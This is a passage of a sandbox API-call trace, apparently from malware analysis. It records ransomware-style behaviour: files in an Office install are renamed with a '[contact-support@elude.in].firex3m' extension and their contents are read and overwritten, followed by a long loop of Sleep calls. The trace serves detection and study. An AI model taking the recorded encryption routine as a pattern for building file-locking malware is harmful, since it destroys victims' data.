shared\\themes16\\blends\\preview.gif.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a8 [0265.360] GetProcessHeap () returned 0x630000 [0265.360] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8a1) returned 0x713ced0 [0265.360] GetProcessHeap () returned 0x630000 [0265.360] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8a1) returned 0x6fba358 [0265.360] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.360] ReadFile (in: hFile=0x6a8, lpBuffer=0x713ced0, nNumberOfBytesToRead=0x880, lpNumberOfBytesRead=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x713ced0*, lpNumberOfBytesRead=0x357ff0c*=0x880, lpOverlapped=0x0) returned 1 [0265.376] GetProcessHeap () returned 0x630000 [0265.376] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318d00 [0265.376] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.376] WriteFile (in: hFile=0x6a8, lpBuffer=0x6fba358*, nNumberOfBytesToWrite=0x880, lpNumberOfBytesWritten=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fba358*, lpNumberOfBytesWritten=0x357ff0c*=0x880, lpOverlapped=0x0) returned 1 [0265.377] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.377] WriteFile (in: hFile=0x6a8, lpBuffer=0x6fbabd7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fbabd7*, lpNumberOfBytesWritten=0x357ff0c*=0x20, lpOverlapped=0x0) returned 1 [0265.377] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.377] WriteFile (in: hFile=0x6a8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x357ff0c*=0x4, lpOverlapped=0x0) returned 1 [0265.377] CloseHandle (hObject=0x6a8) returned 1 [0265.378] GetProcessHeap () returned 0x630000 [0265.378] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fba358 | out: hHeap=0x630000) returned 1 [0265.378] GetProcessHeap () returned 0x630000 [0265.378] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x713ced0 | out: hHeap=0x630000) returned 1 [0265.378] GetProcessHeap () returned 0x630000 [0265.378] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318d00 | out: hHeap=0x630000) returned 1 [0265.378] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x357ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0265.378] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLENDS\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x357fcc4 | out: lpFindFileData=0x357fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27a70c44, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27a70c44, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x64209775, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x8a9, dwReserved0=0xc787496, dwReserved1=0x713cec8, cFileName="PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PREVIE~1.FIR")) returned 0x6d5280 [0265.378] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0265.378] Sleep (dwMilliseconds=0x1) [0265.391] SysReAllocStringLen (in: pbstr=0x357ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Office Setup Controller\\Office.en-us\\PSS10O.CHM", len=0x8a | out: pbstr=0x357ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 1 [0265.391] GetProcessHeap () returned 0x630000 [0265.391] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4be4) returned 0x6fe3bb0 [0265.391] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\office setup controller\\office.en-us\\pss10o.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a8 [0265.391] CloseHandle (hObject=0x6a8) returned 1 [0265.391] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x357ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0265.392] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\office setup controller\\office.en-us\\pss10o.chm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Office Setup Controller\\Office.en-us\\PSS10O.CHM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\office setup controller\\office.en-us\\pss10o.chm.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0265.392] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x357ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0265.392] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Office Setup Controller\\Office.en-us\\PSS10O.CHM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x357fc6c | out: lpFindFileData=0x357fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc8f6526, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc8f6526, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc9429c1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3854, dwReserved0=0x75002d, dwReserved1=0x5c0073, cFileName="PSS10O.CHM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PSS10O~1.FIR")) returned 0x6d51c0 [0265.393] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0265.393] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Office Setup Controller\\Office.en-us\\PSS10O.CHM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\office setup controller\\office.en-us\\pss10o.chm.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a8 [0265.393] GetProcessHeap () returned 0x630000 [0265.393] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x3861) returned 0x7552100 [0265.393] GetProcessHeap () returned 0x630000 [0265.393] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x3861) returned 0x7555970 [0265.393] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.393] ReadFile (in: hFile=0x6a8, lpBuffer=0x7552100, nNumberOfBytesToRead=0x3840, lpNumberOfBytesRead=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7552100*, lpNumberOfBytesRead=0x357ff0c*=0x3840, lpOverlapped=0x0) returned 1 [0267.488] GetProcessHeap () returned 0x630000 [0267.488] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318670 [0267.488] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.488] WriteFile (in: hFile=0x6a8, lpBuffer=0x7555970*, nNumberOfBytesToWrite=0x3840, lpNumberOfBytesWritten=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7555970*, lpNumberOfBytesWritten=0x357ff0c*=0x3840, lpOverlapped=0x0) returned 1 [0267.488] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.488] WriteFile (in: hFile=0x6a8, lpBuffer=0x75591af*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x75591af*, lpNumberOfBytesWritten=0x357ff0c*=0x20, lpOverlapped=0x0) returned 1 [0267.488] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.488] WriteFile (in: hFile=0x6a8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x357ff0c*=0x4, lpOverlapped=0x0) returned 1 [0267.489] CloseHandle (hObject=0x6a8) returned 1 [0267.489] GetProcessHeap () returned 0x630000 [0267.489] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7555970 | out: hHeap=0x630000) returned 1 [0267.489] GetProcessHeap () returned 0x630000 [0267.489] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7552100 | out: hHeap=0x630000) returned 1 [0267.489] GetProcessHeap () returned 0x630000 [0267.489] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318670 | out: hHeap=0x630000) returned 1 [0267.489] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x357ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0267.489] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Office Setup Controller\\Office.en-us\\PSS10O.CHM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x357fcc4 | out: lpFindFileData=0x357fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc8f6526, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc8f6526, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6562741e, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x3878, dwReserved0=0xc787496, dwReserved1=0x75520f8, cFileName="PSS10O.CHM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PSS10O~1.FIR")) returned 0x6d53c0 [0267.489] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0267.489] Sleep (dwMilliseconds=0x1) [0269.450] SysReAllocStringLen (in: pbstr=0x357ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\TCBI____.TTF", len=0x45 | out: pbstr=0x357ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\TCBI____.TTF") returned 1 [0269.450] GetProcessHeap () returned 0x630000 [0269.450] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b48) returned 0x6fe3bb0 [0269.450] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\TCBI____.TTF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\tcbi____.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x700 [0269.451] CloseHandle (hObject=0x700) returned 1 [0269.452] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x357ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0269.452] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\TCBI____.TTF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\tcbi____.ttf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\TCBI____.TTF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\tcbi____.ttf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0269.453] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x357ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0269.453] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\TCBI____.TTF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x357fc6c | out: lpFindFileData=0x357fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x868f8b70, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x868f8b70, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x86a762bd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x12080, dwReserved0=0x0, dwReserved1=0x0, cFileName="TCBI____.TTF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TCBI__~1.FIR")) returned 0x6d4f80 [0269.453] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0269.453] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\TCBI____.TTF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\tcbi____.ttf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x700 [0269.453] GetProcessHeap () returned 0x630000 [0269.453] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7504010 [0269.454] GetProcessHeap () returned 0x630000 [0269.454] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x750f440 [0269.454] SetFilePointerEx (in: hFile=0x700, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.454] ReadFile (in: hFile=0x700, lpBuffer=0x7504010, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7504010*, lpNumberOfBytesRead=0x357ff0c*=0xb400, lpOverlapped=0x0) returned 1 Thread: id = 42 os_tid = 0x78c [0067.196] Sleep (dwMilliseconds=0x1) [0067.440] Sleep (dwMilliseconds=0x1) [0067.561] Sleep (dwMilliseconds=0x1) [0067.714] Sleep (dwMilliseconds=0x1) [0067.827] Sleep (dwMilliseconds=0x1) [0067.935] Sleep (dwMilliseconds=0x1) [0068.042] Sleep (dwMilliseconds=0x1) [0068.148] Sleep (dwMilliseconds=0x1) [0068.281] Sleep (dwMilliseconds=0x1) [0068.394] Sleep (dwMilliseconds=0x1) [0068.491] Sleep (dwMilliseconds=0x1) [0068.546] Sleep (dwMilliseconds=0x1) [0068.696] Sleep (dwMilliseconds=0x1) [0068.748] Sleep (dwMilliseconds=0x1) [0068.791] Sleep (dwMilliseconds=0x1) [0068.844] Sleep (dwMilliseconds=0x1) [0068.882] Sleep (dwMilliseconds=0x1) [0068.935] Sleep (dwMilliseconds=0x1) [0068.975] Sleep (dwMilliseconds=0x1) [0069.049] Sleep (dwMilliseconds=0x1) [0069.104] Sleep (dwMilliseconds=0x1) [0069.160] Sleep (dwMilliseconds=0x1) [0069.197] Sleep (dwMilliseconds=0x1) [0069.250] Sleep (dwMilliseconds=0x1) [0069.291] Sleep (dwMilliseconds=0x1) [0069.379] Sleep (dwMilliseconds=0x1) [0069.440] Sleep (dwMilliseconds=0x1) [0069.478] Sleep (dwMilliseconds=0x1) [0069.528] Sleep (dwMilliseconds=0x1) [0069.690] Sleep (dwMilliseconds=0x1) [0069.918] Sleep (dwMilliseconds=0x1) [0070.148] Sleep (dwMilliseconds=0x1) [0070.261] Sleep (dwMilliseconds=0x1) [0070.383] Sleep (dwMilliseconds=0x1) [0070.533] Sleep (dwMilliseconds=0x1) [0070.870] Sleep (dwMilliseconds=0x1) [0071.568] Sleep (dwMilliseconds=0x1) [0071.943] Sleep (dwMilliseconds=0x1) [0072.429] Sleep (dwMilliseconds=0x1) [0072.608] Sleep (dwMilliseconds=0x1) [0072.799] Sleep (dwMilliseconds=0x1) [0072.907] Sleep (dwMilliseconds=0x1) [0073.097] Sleep (dwMilliseconds=0x1) [0073.608] Sleep (dwMilliseconds=0x1) [0073.761] Sleep (dwMilliseconds=0x1) [0073.935] Sleep (dwMilliseconds=0x1) [0074.044] Sleep (dwMilliseconds=0x1) [0074.180] Sleep (dwMilliseconds=0x1) [0074.382] Sleep (dwMilliseconds=0x1) [0074.670] Sleep (dwMilliseconds=0x1) [0074.773] Sleep (dwMilliseconds=0x1) [0074.847] Sleep (dwMilliseconds=0x1) [0074.909] Sleep (dwMilliseconds=0x1) [0075.002] Sleep (dwMilliseconds=0x1) [0075.058] Sleep (dwMilliseconds=0x1) [0075.108] Sleep (dwMilliseconds=0x1) [0075.155] Sleep (dwMilliseconds=0x1) [0075.218] Sleep (dwMilliseconds=0x1) [0075.262] Sleep (dwMilliseconds=0x1) [0075.306] Sleep (dwMilliseconds=0x1) [0075.360] Sleep (dwMilliseconds=0x1) [0075.423] Sleep (dwMilliseconds=0x1) [0075.511] Sleep (dwMilliseconds=0x1) [0075.570] Sleep (dwMilliseconds=0x1) [0075.609] Sleep (dwMilliseconds=0x1) [0075.693] Sleep (dwMilliseconds=0x1) [0075.748] Sleep (dwMilliseconds=0x1) [0075.789] Sleep (dwMilliseconds=0x1) [0075.834] Sleep (dwMilliseconds=0x1) [0076.045] Sleep (dwMilliseconds=0x1) [0076.062] Sleep (dwMilliseconds=0x1) [0076.084] Sleep (dwMilliseconds=0x1) [0076.106] Sleep (dwMilliseconds=0x1) [0076.187] Sleep (dwMilliseconds=0x1) [0076.390] Sleep (dwMilliseconds=0x1) [0076.531] Sleep (dwMilliseconds=0x1) [0076.671] Sleep (dwMilliseconds=0x1) [0076.771] Sleep (dwMilliseconds=0x1) [0076.808] Sleep (dwMilliseconds=0x1) [0076.843] Sleep (dwMilliseconds=0x1) [0076.871] Sleep (dwMilliseconds=0x1) [0076.920] Sleep (dwMilliseconds=0x1) [0076.985] Sleep (dwMilliseconds=0x1) [0077.065] Sleep (dwMilliseconds=0x1) [0077.155] Sleep (dwMilliseconds=0x1) [0077.222] Sleep (dwMilliseconds=0x1) [0077.288] Sleep (dwMilliseconds=0x1) [0077.360] Sleep (dwMilliseconds=0x1) [0077.412] Sleep (dwMilliseconds=0x1) [0077.521] Sleep (dwMilliseconds=0x1) [0077.597] Sleep (dwMilliseconds=0x1) [0077.649] Sleep (dwMilliseconds=0x1) [0077.688] Sleep (dwMilliseconds=0x1) [0077.736] Sleep (dwMilliseconds=0x1) [0077.782] Sleep (dwMilliseconds=0x1) [0077.833] Sleep (dwMilliseconds=0x1) [0077.856] Sleep (dwMilliseconds=0x1) [0077.912] Sleep (dwMilliseconds=0x1) [0077.957] Sleep (dwMilliseconds=0x1) [0077.982] Sleep (dwMilliseconds=0x1) [0078.061] Sleep (dwMilliseconds=0x1) [0078.090] Sleep (dwMilliseconds=0x1) [0078.120] Sleep (dwMilliseconds=0x1) [0078.132] Sleep (dwMilliseconds=0x1) [0078.194] Sleep (dwMilliseconds=0x1) [0078.222] Sleep (dwMilliseconds=0x1) [0078.240] Sleep (dwMilliseconds=0x1) [0078.251] Sleep (dwMilliseconds=0x1) [0078.274] Sleep (dwMilliseconds=0x1) [0078.284] Sleep (dwMilliseconds=0x1) [0078.315] Sleep (dwMilliseconds=0x1) [0078.358] Sleep (dwMilliseconds=0x1) [0078.381] Sleep (dwMilliseconds=0x1) [0078.449] Sleep (dwMilliseconds=0x1) [0078.531] Sleep (dwMilliseconds=0x1) [0078.565] Sleep (dwMilliseconds=0x1) [0078.609] Sleep (dwMilliseconds=0x1) [0078.627] Sleep (dwMilliseconds=0x1) [0078.645] Sleep (dwMilliseconds=0x1) [0078.660] Sleep (dwMilliseconds=0x1) [0078.675] Sleep (dwMilliseconds=0x1) [0078.705] Sleep (dwMilliseconds=0x1) [0078.724] Sleep (dwMilliseconds=0x1) [0078.735] Sleep (dwMilliseconds=0x1) [0078.756] Sleep (dwMilliseconds=0x1) [0078.767] Sleep (dwMilliseconds=0x1) [0078.789] Sleep (dwMilliseconds=0x1) [0078.835] Sleep (dwMilliseconds=0x1) [0078.889] Sleep (dwMilliseconds=0x1) [0078.930] Sleep (dwMilliseconds=0x1) [0078.943] Sleep (dwMilliseconds=0x1) [0078.962] Sleep (dwMilliseconds=0x1) [0078.976] Sleep (dwMilliseconds=0x1) [0079.005] Sleep (dwMilliseconds=0x1) [0079.029] Sleep (dwMilliseconds=0x1) [0079.052] Sleep (dwMilliseconds=0x1) [0079.077] Sleep (dwMilliseconds=0x1) [0079.100] Sleep (dwMilliseconds=0x1) [0079.114] Sleep (dwMilliseconds=0x1) [0079.131] Sleep (dwMilliseconds=0x1) [0079.157] Sleep (dwMilliseconds=0x1) [0079.227] Sleep (dwMilliseconds=0x1) [0079.248] Sleep (dwMilliseconds=0x1) [0079.272] Sleep (dwMilliseconds=0x1) [0079.284] Sleep (dwMilliseconds=0x1) [0079.303] Sleep (dwMilliseconds=0x1) [0079.313] Sleep (dwMilliseconds=0x1) [0079.332] Sleep (dwMilliseconds=0x1) [0079.345] Sleep (dwMilliseconds=0x1) [0079.364] Sleep (dwMilliseconds=0x1) [0079.375] Sleep (dwMilliseconds=0x1) [0079.400] Sleep (dwMilliseconds=0x1) [0079.414] Sleep (dwMilliseconds=0x1) [0079.426] Sleep (dwMilliseconds=0x1) [0079.444] Sleep (dwMilliseconds=0x1) [0079.519] Sleep (dwMilliseconds=0x1) [0079.540] Sleep (dwMilliseconds=0x1) [0079.549] Sleep (dwMilliseconds=0x1) [0079.598] Sleep (dwMilliseconds=0x1) [0079.613] Sleep (dwMilliseconds=0x1) [0079.626] Sleep (dwMilliseconds=0x1) [0079.645] Sleep (dwMilliseconds=0x1) [0079.658] Sleep (dwMilliseconds=0x1) [0079.678] Sleep (dwMilliseconds=0x1) [0079.693] Sleep (dwMilliseconds=0x1) [0079.735] Sleep (dwMilliseconds=0x1) [0079.804] Sleep (dwMilliseconds=0x1) [0079.812] Sleep (dwMilliseconds=0x1) [0079.834] Sleep (dwMilliseconds=0x1) [0079.886] Sleep (dwMilliseconds=0x1) [0079.900] Sleep (dwMilliseconds=0x1) [0079.913] Sleep (dwMilliseconds=0x1) [0079.934] Sleep (dwMilliseconds=0x1) [0079.988] Sleep (dwMilliseconds=0x1) [0080.046] Sleep (dwMilliseconds=0x1) [0080.072] Sleep (dwMilliseconds=0x1) [0080.082] Sleep (dwMilliseconds=0x1) [0080.101] Sleep (dwMilliseconds=0x1) [0080.134] Sleep (dwMilliseconds=0x1) [0080.162] Sleep (dwMilliseconds=0x1) [0080.171] Sleep (dwMilliseconds=0x1) [0080.239] Sleep (dwMilliseconds=0x1) [0080.258] Sleep (dwMilliseconds=0x1) [0080.270] Sleep (dwMilliseconds=0x1) [0080.284] Sleep (dwMilliseconds=0x1) [0080.303] Sleep (dwMilliseconds=0x1) [0080.314] Sleep (dwMilliseconds=0x1) [0080.345] Sleep (dwMilliseconds=0x1) [0080.360] Sleep (dwMilliseconds=0x1) [0080.386] Sleep (dwMilliseconds=0x1) [0080.391] Sleep (dwMilliseconds=0x1) [0080.411] Sleep (dwMilliseconds=0x1) [0080.425] Sleep (dwMilliseconds=0x1) [0080.443] Sleep (dwMilliseconds=0x1) [0080.501] Sleep (dwMilliseconds=0x1) [0080.528] Sleep (dwMilliseconds=0x1) [0080.553] Sleep (dwMilliseconds=0x1) [0080.562] Sleep (dwMilliseconds=0x1) [0080.587] Sleep (dwMilliseconds=0x1) [0080.601] Sleep (dwMilliseconds=0x1) [0080.619] Sleep (dwMilliseconds=0x1) [0080.655] Sleep (dwMilliseconds=0x1) [0080.678] Sleep (dwMilliseconds=0x1) [0080.705] Sleep (dwMilliseconds=0x1) [0080.721] Sleep (dwMilliseconds=0x1) [0080.767] Sleep (dwMilliseconds=0x1) [0080.786] Sleep (dwMilliseconds=0x1) [0080.806] Sleep (dwMilliseconds=0x1) [0080.818] Sleep (dwMilliseconds=0x1) [0080.837] Sleep (dwMilliseconds=0x1) [0080.845] Sleep (dwMilliseconds=0x1) [0080.890] Sleep (dwMilliseconds=0x1) [0080.916] Sleep (dwMilliseconds=0x1) [0080.924] Sleep (dwMilliseconds=0x1) [0080.941] Sleep (dwMilliseconds=0x1) [0080.958] Sleep (dwMilliseconds=0x1) [0080.977] Sleep (dwMilliseconds=0x1) [0080.991] Sleep (dwMilliseconds=0x1) [0081.003] Sleep (dwMilliseconds=0x1) [0081.027] Sleep (dwMilliseconds=0x1) [0081.033] Sleep (dwMilliseconds=0x1) [0081.050] Sleep (dwMilliseconds=0x1) [0081.285] Sleep (dwMilliseconds=0x1) [0081.433] Sleep (dwMilliseconds=0x1) [0081.521] Sleep (dwMilliseconds=0x1) [0081.540] Sleep (dwMilliseconds=0x1) [0081.560] Sleep (dwMilliseconds=0x1) [0081.583] Sleep (dwMilliseconds=0x1) [0081.598] Sleep (dwMilliseconds=0x1) [0081.615] Sleep (dwMilliseconds=0x1) [0081.627] Sleep (dwMilliseconds=0x1) [0081.666] Sleep (dwMilliseconds=0x1) [0081.681] Sleep (dwMilliseconds=0x1) [0081.693] Sleep (dwMilliseconds=0x1) [0081.708] Sleep (dwMilliseconds=0x1) [0081.759] Sleep (dwMilliseconds=0x1) [0081.774] Sleep (dwMilliseconds=0x1) [0081.791] Sleep (dwMilliseconds=0x1) [0081.831] Sleep (dwMilliseconds=0x1) [0081.850] Sleep (dwMilliseconds=0x1) [0081.884] Sleep (dwMilliseconds=0x1) [0081.895] Sleep (dwMilliseconds=0x1) [0081.908] Sleep (dwMilliseconds=0x1) [0081.928] Sleep (dwMilliseconds=0x1) [0081.941] Sleep (dwMilliseconds=0x1) [0081.968] Sleep (dwMilliseconds=0x1) [0081.985] Sleep (dwMilliseconds=0x1) [0082.004] Sleep (dwMilliseconds=0x1) [0082.035] Sleep (dwMilliseconds=0x1) [0082.051] Sleep (dwMilliseconds=0x1) [0082.067] Sleep (dwMilliseconds=0x1) [0082.114] Sleep (dwMilliseconds=0x1) [0082.131] Sleep (dwMilliseconds=0x1) [0082.153] Sleep (dwMilliseconds=0x1) [0082.198] Sleep (dwMilliseconds=0x1) [0082.212] Sleep (dwMilliseconds=0x1) [0082.235] Sleep (dwMilliseconds=0x1) [0082.256] Sleep (dwMilliseconds=0x1) [0082.280] Sleep (dwMilliseconds=0x1) [0082.291] Sleep (dwMilliseconds=0x1) [0082.312] Sleep 